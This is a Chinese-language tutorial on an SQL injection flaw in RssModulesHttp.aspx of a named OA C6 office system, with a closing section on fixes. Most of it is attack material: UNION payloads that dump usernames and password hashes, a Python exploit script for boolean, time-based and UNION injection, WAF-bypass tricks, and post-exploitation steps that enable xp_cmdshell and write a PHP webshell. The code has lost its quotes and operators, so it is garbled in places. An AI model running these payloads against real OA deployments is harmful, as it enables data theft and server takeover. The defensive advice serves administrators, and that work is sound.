某和OA C6系统SQL注入漏洞深度剖析与自动化利用实践 1. 项目概述一次针对某和OA C6系统的SQL注入漏洞深度剖析最近在安全研究圈里某和OA C6系统的一个接口漏洞引起了不小的讨论。这个漏洞出现在RssModulesHttp.aspx这个文件里是一个典型的SQL注入漏洞。对于做企业内网渗透测试或者红队评估的朋友来说OA系统一直是重点目标因为它们往往存储着大量敏感的组织架构、流程审批和业务数据。这次发现的漏洞攻击者可以直接通过构造特定的HTTP请求在未授权的情况下执行任意SQL命令轻则拖库重则可能结合其他漏洞进一步控制服务器。我花了一些时间对这个漏洞进行了复现和分析并整理了一个相对通用的漏洞利用脚本。这篇文章我就来详细拆解一下这个漏洞的成因、利用方式以及在实际渗透测试中如何高效地利用它最后也会聊聊防御思路。无论你是安全研究人员、渗透测试工程师还是负责运维OA系统的管理员都能从中获得一些实用的信息。2. 漏洞原理与背景深度解析2.1 某和OA C6系统与涉事模块简介某和OA是国内一款应用比较广泛的企业协同办公平台C6是其一个重要的版本系列。这类OA系统通常采用B/S架构使用ASP.NET推测基于.aspx后缀或JSP等技术开发后端数据库多为SQL Server或Oracle。RssModulesHttp.aspx从文件名看很可能是一个用于处理RSS简易信息聚合模块相关HTTP请求的页面。RSS功能常用于订阅新闻、公告等动态信息这意味着该接口可能需要处理来自用户或外部源的订阅请求并涉及数据库查询操作例如根据用户ID、分类ID等参数从新闻表或订阅表中获取数据。注意在分析此类漏洞时不要仅局限于漏洞点本身。理解该功能模块的业务逻辑能帮助你更快地判断注入参数的类型数字型/字符型、可能查询的表结构甚至推测出数据库用户的权限这对于后续的利用至关重要。2.2 SQL注入漏洞的根本成因这个漏洞的本质是开发人员在编写RssModulesHttp.aspx页面后端代码时对用户可控的输入参数没有进行充分的过滤和校验就直接拼接到了SQL查询语句中。我们来模拟一下问题代码可能的样子以下为逻辑示意非真实代码// RssModulesHttp.aspx.cs 中的部分逻辑 string userId Request.QueryString[userid]; // 直接从URL获取参数 string sql SELECT * FROM rss_subscriptions WHERE user_id userId; // 危险直接拼接 SqlCommand cmd new SqlCommand(sql, connection);或者对于字符型参数string category Request.Form[category]; string sql SELECT * FROM rss_items WHERE category_name category ; // 未过滤的单引号攻击者可以通过修改userid或category这类参数的值插入恶意的SQL代码。例如将userid的值设为1 OR 11那么最终的SQL语句就会变成SELECT * FROM rss_subscriptions WHERE user_id 1 OR 11。由于11永远为真这条语句可能会返回所有用户的订阅记录从而绕过原有的权限检查。2.3 漏洞影响范围与危害评估这个漏洞的危害等级通常为高危。具体影响体现在以下几个方面数据泄露这是最直接的危害。攻击者可以利用注入漏洞读取数据库中的任意数据。这可能包括用户凭证用户名、加密或明文密码尽管可能是哈希值但弱口令哈希仍可破解。组织敏感信息员工通讯录、部门架构、薪资信息如果存在。业务流程数据审批流程详情、公文内容、财务数据。系统配置信息数据库连接字符串、服务器路径、其他系统密钥。数据篡改如果数据库用户权限足够高例如db_owner或sa攻击者可以修改、删除数据破坏业务完整性。进一步渗透的跳板在特定配置下SQL注入可能与其他漏洞结合实现更严重的攻击命令执行如果数据库支持并配置了执行系统命令的功能如SQL Server的xp_cmdshell攻击者可能直接获得服务器操作系统权限。文件读写利用数据库的文件读写功能如MySQL的LOAD_FILE,INTO OUTFILE向服务器写入Webshell从而控制网站服务器。影响范围所有使用了存在漏洞版本某和OA C6系统的企事业单位。由于OA系统通常部署在内网外部直接攻击可能受限但一旦攻击者通过钓鱼、社工等方式进入内网或系统存在外网访问入口风险将急剧增加。3. 漏洞利用环境搭建与手工验证在编写或使用自动化脚本之前手工验证漏洞是理解其细节的最佳方式。这能帮助你确认漏洞的真实存在性、判断注入类型并为脚本编写提供关键参数。3.1 测试环境准备为了安全、合法地进行研究必须在授权和隔离的环境中进行。获取目标环境授权测试环境从客户或公司内部获得明确授权的某和OA C6测试系统。自行搭建靶场如果用于学习可以尝试寻找对应的安装包在虚拟机如VMware, VirtualBox中搭建。确保网络设置为仅主机模式Host-Only或完全断网避免意外影响真实网络。工具准备浏览器Chrome或Firefox并开启开发者工具F12。代理抓包工具Burp Suite Community/Professional 或 OWASP ZAP。用于拦截、查看和重放HTTP请求这是分析Web漏洞的核心。浏览器插件HackBarFirefox或类似的SQL注入测试插件方便快速构造Payload。数据库连接工具如果可能准备Navicat或SQL Server Management Studio用于直接查看数据库结构验证注入结果。3.2 手工注入探测与利用流程假设我们通过信息收集或目录扫描找到了http://target-oa-system/RssModulesHttp.aspx这个地址。第一步寻找注入点使用浏览器访问该页面。观察页面是否正常显示是否有错误信息。尝试添加一些常见参数如?id1,?userid1,?typenews。使用Burp Suite拦截浏览器发出的请求。将拦截到的请求发送到Repeater模块方便反复测试。在Repeater中对每一个可能的参数进行注入测试。通常先测试数字型注入。第二步判断注入类型数字型注入测试 修改参数值为1 AND 11和1 AND 12。如果1 AND 11返回正常页面而1 AND 12返回错误或空白页面则极有可能是数字型注入。因为12为假导致整个WHERE条件为假查询不到数据。Payload示例userid1%20AND%2011(注意URL编码空格为%20)字符型注入测试 如果参数是字符串如categorynews则测试news AND 11和news AND 12。同样观察页面差异。字符型注入的关键在于闭合原SQL语句中的单引号。Payload示例categorynews%27%20AND%20%271%27%271(对应news AND 11)第三步确认注入并获取信息一旦确认存在注入就可以开始利用联合查询UNION SELECT来获取数据。这需要猜测查询的列数。确定列数使用ORDER BY子句。Payload:userid1 ORDER BY 5--不断增加数字5,6,7...直到页面返回错误。假设ORDER BY 5正常ORDER BY 6错误则说明原查询返回5列。--是SQL中的单行注释符用于注释掉原查询后面的语句避免语法错误。确定显示位使用UNION SELECT找到在页面中回显数据的位置。Payload:userid-1 UNION SELECT 1,2,3,4,5--将参数值设为负值或一个不存在的值如-1确保原查询不返回结果这样页面就会显示我们UNION查询的结果。观察页面中哪个数字1,2,3,4,5被显示出来这些位置就是我们可以替换为数据库函数来获取信息的地方。获取数据库信息数据库版本userid-1 UNION SELECT 1,version,3,4,5--(SQL Server) 或...version(),3,4,5--(MySQL)当前数据库名userid-1 UNION SELECT 1,db_name(),3,4,5--(SQL Server) 或...database(),3,4,5--(MySQL)当前数据库用户userid-1 UNION SELECT 1,user_name(),3,4,5--或...current_user,3,4,5--第四步深入提取数据假设我们通过上一步知道当前数据库用户权限较高且显示位是第2和第3列。获取所有表名以SQL Server为例userid-1 UNION SELECT 1,table_name,3,4,5 FROM information_schema.tables WHERE table_catalogdb_name()--可以修改语句一次获取多个表名或通过Burp的Intruder模块进行枚举。猜测或获取敏感表名关注如users,admin,personnel,salary,document等可能存储敏感信息的表。获取表结构列名userid-1 UNION SELECT 1,column_name,3,4,5 FROM information_schema.columns WHERE table_nameusers--拖取数据userid-1 UNION SELECT 1,username,password,4,5 FROM users--这样我们就能在页面的显示位上看到用户名和密码哈希值。实操心得手工注入的过程虽然繁琐但能让你对漏洞有最深刻的理解。在测试时务必注意观察页面的细微变化包括页面内容长度、HTTP状态码、错误信息有时错误信息会直接暴露数据库结构这些都能为你的注入提供线索。对于字符型注入单引号的闭合和注释符的使用是关键多一个或少一个空格都可能导致失败。4. 自动化漏洞利用脚本编写与解析手工验证成功后为了提高效率或进行批量检测编写一个自动化脚本是很有必要的。下面我将以一个Python脚本为例拆解其核心功能模块。这个脚本旨在实现从检测注入到获取数据库基本信息的自动化流程。4.1 脚本设计思路与依赖库脚本的核心目标是给定一个目标URL和可疑参数自动判断是否存在SQL注入并尝试获取数据库版本和当前用户信息。我们将使用requests库来发送HTTP请求BeautifulSoup或正则表达式来解析HTML响应提取我们需要的信息。为了处理各种情况脚本需要具备以下功能智能处理Cookie和Session如果需要登录。自动识别参数类型GET/POST。实现基本的布尔盲注检测逻辑因为有时注入没有明显回显只能通过页面差异判断。实现联合查询注入利用。#!/usr/bin/env python3 # -*- coding: utf-8 -*- 某和OA C6 RssModulesHttp.aspx SQL注入漏洞利用脚本 仅供授权安全测试使用 import requests import sys import urllib.parse from bs4 import BeautifulSoup import time class OASQLInjector: def __init__(self, target_url): self.target_url target_url self.session requests.Session() # 设置一个合理的请求头模拟浏览器 self.headers { User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Accept: text/html,application/xhtmlxml,application/xml;q0.9,*/*;q0.8, Connection: keep-alive, } self.session.headers.update(self.headers) # 存储检测到的注入参数和类型 self.vuln_params {} def test_connection(self): 测试目标连通性 try: resp self.session.get(self.target_url, timeout10) if resp.status_code 200: print(f[] 目标连接成功: {self.target_url}) return True else: print(f[-] 目标返回异常状态码: {resp.status_code}) return False except Exception as e: print(f[-] 连接目标失败: {e}) return False4.2 核心注入检测模块实现这部分是脚本的灵魂我们需要实现两种常见的检测方法基于布尔逻辑的检测和基于时间延迟的检测用于盲注。def detect_injection(self, param_name, param_value, param_typeGET): 检测指定参数是否存在SQL注入漏洞 :param param_name: 参数名如 userid :param param_value: 参数的原始安全值如 1 :param param_type: 参数类型GET 或 POST :return: (bool, str) 是否存在漏洞漏洞类型boolean, time, union base_payloads { boolean: [ (f{param_value} AND 11, f{param_value} AND 12), # 字符型 (f{param_value} AND 11, f{param_value} AND 12), # 数字型 ], time: [ (f{param_value} AND SLEEP(5)--, 5), # MySQL 时间盲注 (f{param_value};WAITFOR DELAY 00:00:05--, 5), # SQL Server ] } # 首先发送一个原始请求作为基准 original_resp self._send_request(param_name, param_value, param_type) if original_resp is None: return False, None original_text self._get_response_fingerprint(original_resp) # 获取页面指纹如特定文本、长度 # 布尔型检测 for true_payload, false_payload in base_payloads[boolean]: true_resp self._send_request(param_name, true_payload, param_type) false_resp self._send_request(param_name, false_payload, param_type) if true_resp and false_resp: true_fingerprint self._get_response_fingerprint(true_resp) false_fingerprint self._get_response_fingerprint(false_resp) # 如果 true 请求的响应与原始响应相似而 false 请求的响应明显不同则存在注入 if self._is_similar(original_text, true_fingerprint) and not self._is_similar(original_text, false_fingerprint): print(f[] 发现布尔型SQL注入漏洞参数: {param_name}) self.vuln_params[param_name] {type: boolean, param_type: param_type, base_value: param_value} return True, boolean # 时间盲注检测如果布尔型没检测到 print(f[*] 尝试时间盲注检测...) for time_payload, sleep_time in base_payloads[time]: start_time time.time() time_resp self._send_request(param_name, time_payload, param_type) elapsed time.time() - start_time if time_resp and elapsed sleep_time - 1: # 考虑网络延迟设置一个阈值 print(f[] 发现基于时间的SQL注入漏洞参数: {param_name}, 延迟: {elapsed:.2f}秒) self.vuln_params[param_name] {type: time, param_type: param_type, base_value: param_value} return True, time print(f[-] 参数 {param_name} 未发现明显的SQL注入) return False, None def _send_request(self, param_name, param_value, param_type): 发送请求的辅助函数 try: if param_type.upper() GET: # 将参数拼接到URL parsed_url urllib.parse.urlparse(self.target_url) query_dict urllib.parse.parse_qs(parsed_url.query) query_dict[param_name] [param_value] new_query urllib.parse.urlencode(query_dict, doseqTrue) new_url urllib.parse.urlunparse(parsed_url._replace(querynew_query)) resp self.session.get(new_url, timeout15) else: # POST # 这里需要知道POST的数据格式通常需要先分析原始请求 # 简化处理假设以 form-data 形式提交 data {param_name: param_value} resp self.session.post(self.target_url, datadata, timeout15) return resp except requests.exceptions.RequestException as e: print(f[-] 请求发送失败: {e}) return None def _get_response_fingerprint(self, response): 生成响应指纹用于比较页面差异。可以结合状态码、内容长度、特定关键词等。 # 这里使用内容长度和页面中是否存在某个稳定字符串作为简单指纹 fingerprint { status: response.status_code, length: len(response.content), title: self._extract_title(response.text) } return fingerprint def _is_similar(self, fp1, fp2, threshold0.9): 简单比较两个指纹是否相似。实际应用中可能需要更复杂的算法。 # 简化版如果状态码相同且内容长度差异在10%以内则认为相似 if fp1[status] ! fp2[status]: return False len_diff abs(fp1[length] - fp2[length]) / max(fp1[length], 1) return len_diff 0.14.3 信息提取与利用模块检测到漏洞后下一步是利用联合查询提取信息。这需要先判断列数。def exploit_union(self, param_name, vuln_info): 利用联合查询注入提取信息 print(f[*] 尝试对参数 {param_name} 进行联合查询注入利用...) base_value vuln_info[base_value] # 1. 判断列数 column_count self._detect_column_count(param_name, base_value, vuln_info[param_type]) if column_count is None: print(f[-] 无法确定列数联合查询可能不适用。) return print(f[] 推测原始查询列数为: {column_count}) # 2. 寻找显示位 display_positions self._find_display_positions(param_name, base_value, column_count, vuln_info[param_type]) if not display_positions: print(f[-] 未在页面中找到明显的显示位。) # 可能是盲注需要切换为盲注利用逻辑此处省略 return print(f[] 发现显示位: {display_positions}) # 3. 获取数据库基本信息 for pos in display_positions: # 构造UNION SELECT语句在显示位替换为我们需要的信息函数 # 例如获取数据库版本 version_payload self._construct_union_payload(base_value, column_count, pos, version) resp self._send_request(param_name, version_payload, vuln_info[param_type]) if resp: # 从响应中提取版本信息这里需要根据实际页面结构编写解析函数 version self._extract_union_result(resp.text, pos) if version: print(f[] 数据库版本: {version}) break # 类似地可以获取当前用户、当前数据库名等 # user_payload self._construct_union_payload(base_value, column_count, pos, user_name()) # ... def _detect_column_count(self, param_name, base_value, param_type): 使用 ORDER BY 子句探测列数 for i in range(1, 30): # 假设最多30列 # 数字型注入 ORDER BY 写法 payload_num f{base_value} ORDER BY {i}-- # 字符型注入 ORDER BY 写法 (需要先闭合引号) payload_char f{base_value} ORDER BY {i}-- resp_num self._send_request(param_name, payload_num, param_type) resp_char self._send_request(param_name, payload_char, param_type) # 判断哪个payload导致页面错误如500状态码或内容长度剧变 if resp_num and resp_num.status_code 500: print(f[*] 数字型 ORDER BY {i} 导致错误列数可能为 {i-1}) return i-1 if resp_char and resp_char.status_code 500: print(f[*] 字符型 ORDER BY {i} 导致错误列数可能为 {i-1}) return i-1 # 也可以比较内容指纹的剧烈变化 return None def _find_display_positions(self, param_name, base_value, column_count, param_type): 构造 UNION SELECT NULL 语句寻找页面中回显数字的位置 # 构造一个不存在的值确保原查询无结果 if base_value.isdigit(): union_base -9999 else: union_base -9999 # 生成 SELECT NULL, NULL, ... 字符串 null_list [NULL] * column_count null_str , .join(null_list) payload f{union_base} UNION SELECT {null_str}-- resp self._send_request(param_name, payload, param_type) if not resp: return [] # 将 NULL 替换为递增的数字方便在页面中定位 display_positions [] for i in range(1, column_count 1): num_list [NULL] * column_count num_list[i-1] str(i) # 将第i位替换为数字i num_str , .join(num_list) payload f{union_base} UNION SELECT {num_str}-- resp self._send_request(param_name, payload, param_type) if resp and str(i) in resp.text: # 简单判断如果数字i出现在响应HTML中则认为该位置是显示位 # 更健壮的做法是解析HTML对比与全NULL请求的差异 display_positions.append(i) print(f[*] 位置 {i} 可能为显示位) return display_positions4.4 脚本使用示例与注意事项将上述模块组合起来并提供一个主函数。def main(): if len(sys.argv) ! 2: print(f用法: python {sys.argv[0]} 目标URL) print(f示例: python {sys.argv[0]} http://192.168.1.100/RssModulesHttp.aspx) sys.exit(1) target_url sys.argv[1] injector OASQLInjector(target_url) if not injector.test_connection(): sys.exit(1) # 假设我们通过分析认为 id 是一个潜在的注入参数 test_param id test_value 1 # 一个假设存在的合法值可能需要根据实际情况调整 is_vuln, vuln_type injector.detect_injection(test_param, test_value, GET) if is_vuln: print(f[!] 漏洞确认开始利用...) injector.exploit_union(test_param, injector.vuln_params[test_param]) else: print(f[-] 未在默认参数上检测到漏洞。请尝试其他参数或手动分析。) # 可以在这里添加对POST参数或Cookie参数的检测逻辑 if __name__ __main__: main()注意事项这个脚本是一个高度简化的概念验证PoC框架。在实际使用中你需要根据目标系统的具体情况进行大量调整例如会话管理如果目标页面需要登录脚本需要先处理登录逻辑维护会话Cookie。参数识别脚本目前只测试一个固定参数。实际需要从HTTP请求中自动提取所有参数进行测试。Payload构造数据库类型MySQL, SQL Server, Oracle不同Payload的语法注释符、函数名也不同。脚本需要具备数据库指纹识别功能。结果解析_extract_union_result函数需要根据目标页面的HTML结构定制可能需要使用BeautifulSoup精确提取标签内的文本。错误处理与稳健性需要增加更完善的异常处理、超时重试、WAF绕过技巧如随机延迟、混淆Payload等。合法性务必仅在获得明确授权的环境中使用。5. 漏洞防御与修复建议分析了漏洞的利用我们更要关注如何修复和防御。对于企业管理员和开发者以下是切实可行的建议。5.1 紧急临时处置措施如果系统正在遭受攻击或需要立即降低风险可以采取以下临时措施网络层拦截在WAFWeb应用防火墙或网络防火墙上针对RssModulesHttp.aspx路径或包含特定恶意SQL关键词如UNION SELECT,WAITFOR DELAY,SLEEP(--, OR的请求进行拦截或告警。访问控制如果该功能非必需可以在Web服务器如IIS层面暂时禁用或重命名RssModulesHttp.aspx文件的访问权限。应用层监控紧急审查数据库服务器的日志查看是否有来自Web应用服务器的异常大量查询或错误语法日志定位可能的攻击源IP。5.2 根本性修复方案临时措施治标不治本必须从代码层面进行修复。使用参数化查询预编译语句这是防御SQL注入最有效、最根本的方法。以C# (ASP.NET)为例// 错误的做法字符串拼接 string sql SELECT * FROM rss_subscriptions WHERE user_id userId; // 正确的做法参数化查询 string sql SELECT * FROM rss_subscriptions WHERE user_id UserId; SqlCommand cmd new SqlCommand(sql, connection); cmd.Parameters.AddWithValue(UserId, userId);数据库会将UserId视为一个单纯的参数值而不是可执行代码的一部分从根本上杜绝了注入。使用ORM框架如Entity Framework。ORM框架通常自动使用参数化查询能大幅降低手写SQL导致注入的风险。var subscriptions dbContext.RssSubscriptions.Where(s s.UserId userId).ToList();严格的输入验证白名单验证对于已知有限集合的值如状态码、类型只接受白名单内的值。类型强转对于数字型参数如userid在代码中强制转换为整数类型。int.TryParse(userId, out int validUserId)如果转换失败则拒绝请求。长度限制对字符串输入设置合理的长度限制。过滤危险字符虽然不如参数化查询可靠但可以作为辅助手段。注意单纯过滤单引号等字符很容易被绕过如编码、双写。最小权限原则连接数据库的应用程序账户不应使用sa或db_owner等高权限账户。应为其创建专属账户并只授予其执行必要操作如SELECT的最小权限。这样即使发生注入攻击者能造成的破坏也有限。错误信息处理避免将详细的数据库错误信息直接返回给前端用户。应使用自定义的错误页面并在生产环境中关闭应用的调试模式。详细的错误信息会为攻击者提供大量线索。5.3 安全开发与运维长效机制代码安全审计将SQL注入检查纳入代码审查Code Review的必选项。使用静态代码分析工具SAST扫描源代码中的潜在漏洞。定期漏洞扫描与渗透测试定期对OA系统及所有Web应用进行专业的安全扫描和渗透测试主动发现类似问题。组件与框架升级及时更新ASP.NET框架、数据库驱动以及所使用的第三方组件修复已知的安全漏洞。安全培训对开发人员进行持续的安全编码培训使其充分理解SQL注入等常见漏洞的原理与危害从源头减少漏洞产生。6. 渗透测试中的技巧与避坑指南结合这个漏洞分享一些在实战渗透测试中处理SQL注入的经验和容易踩的坑。6.1 信息收集阶段的线索不要一上来就拿着SQLMap乱跑。在测试OA系统时可以关注这些点URL参数像id,type,user,page这类参数是注入的高发区。RssModulesHttp.aspx这个文件名就暗示了它可能处理id或moduleid这类参数。错误信息故意输入一个单引号观察页面是否返回数据库错误如“SQL Server”、“Syntax error”、“ODBC”等关键词。这能快速确认是否存在注入以及数据库类型。页面响应差异通过Burp Suite的Compare功能对比正常请求和带有AND 12的请求的响应差异即使没有错误信息内容长度的变化或页面某一部分的缺失也能提示注入存在。6.2 工具使用与绕过技巧SQLMap的进阶用法层级探测使用--level和--risk参数提高检测强度。Tamper脚本遇到WAF时使用--tamper参数。例如space2comment,between,charencode等脚本可以绕过简单的过滤。二次注入有些注入点存在于更新或插入操作中数据先被存入数据库之后在另一个查询中被调用。SQLMap的--second-url和--second-req参数可以处理这种场景。自定义Payload如果目标过滤了空格可以用/**/代替过滤了UNION可以尝试UnIoN大小写混淆。手工注入的思维工具不是万能的。当SQLMap跑不出来时手工分析可能更有效。思考后端代码可能如何拼接SQL。例如参数可能被用在了LIKE子句、ORDER BY子句或存储过程中这些地方的注入Payload构造方式与普通的WHERE条件不同。6.3 内网渗透中的利用延伸在内网环境中成功利用SQL注入后可以尝试以下延伸操作获取数据库连接信息查询数据库中的配置表可能找到连接其他数据库的字符串从而跳转到更核心的业务数据库。利用数据库功能提权SQL Server检查xp_cmdshell是否启用 (EXEC sp_configure show advanced options, 1; RECONFIGURE; EXEC sp_configure xp_cmdshell, 1; RECONFIGURE;)如果启用可直接执行系统命令。MySQL尝试利用INTO OUTFILE写入Webshell (SELECT ?php eval($_POST[cmd]);? INTO OUTFILE /var/www/html/shell.php)但这需要绝对路径和FILE权限。哈希破解与横向移动获取到的用户密码哈希值如MSSQL的password_hashMySQL的password或authentication_string可以导出后用Hashcat或John the Ripper进行破解。如果破解出通用或弱口令可用于尝试登录OA后台、数据库本身或其他系统密码复用。6.4 常见问题与排查实录问题1注入点确认存在但UNION SELECT不返回数据。排查可能是显示位判断错误。尝试在UNION SELECT的每个位置都替换成不同的、醒目的字符串如test1,test2然后仔细搜索整个响应页面包括HTML注释、JS代码、隐藏输入框看是否有回显。也可能是原查询结果被后续代码处理了没有直接输出。问题2使用SQLMap检测时总是被WAF拦截或封IP。解决使用--delay设置请求延迟如--delay1表示每秒1个请求使用--proxy设置代理池降低扫描强度--level 1 --risk 1或者先手工找到一个确切的Payload然后用-p参数指定注入点用--sql-shell直接交互避免大规模探测。问题3时间盲注检测速度极慢如何优化技巧可以先通过布尔盲注判断单字符的True/False这通常比时间盲注快。编写脚本时采用二分查找法判断字符而不是遍历所有字符。例如判断ASCII码是否大于128然后逐步缩小范围。问题4明明有注入但获取不到想要的数据表。思考当前数据库用户权限可能较低。尝试查询SELECT IS_SRVROLEMEMBER(sysadmin)(SQL Server) 或SELECT super_priv FROM mysql.user WHERE user CURRENT_USER()(MySQL) 来确认权限。低权限下只能访问当前数据库的特定表。可以尝试查询information_schema获取元数据或者寻找跨库查询的可能性取决于配置。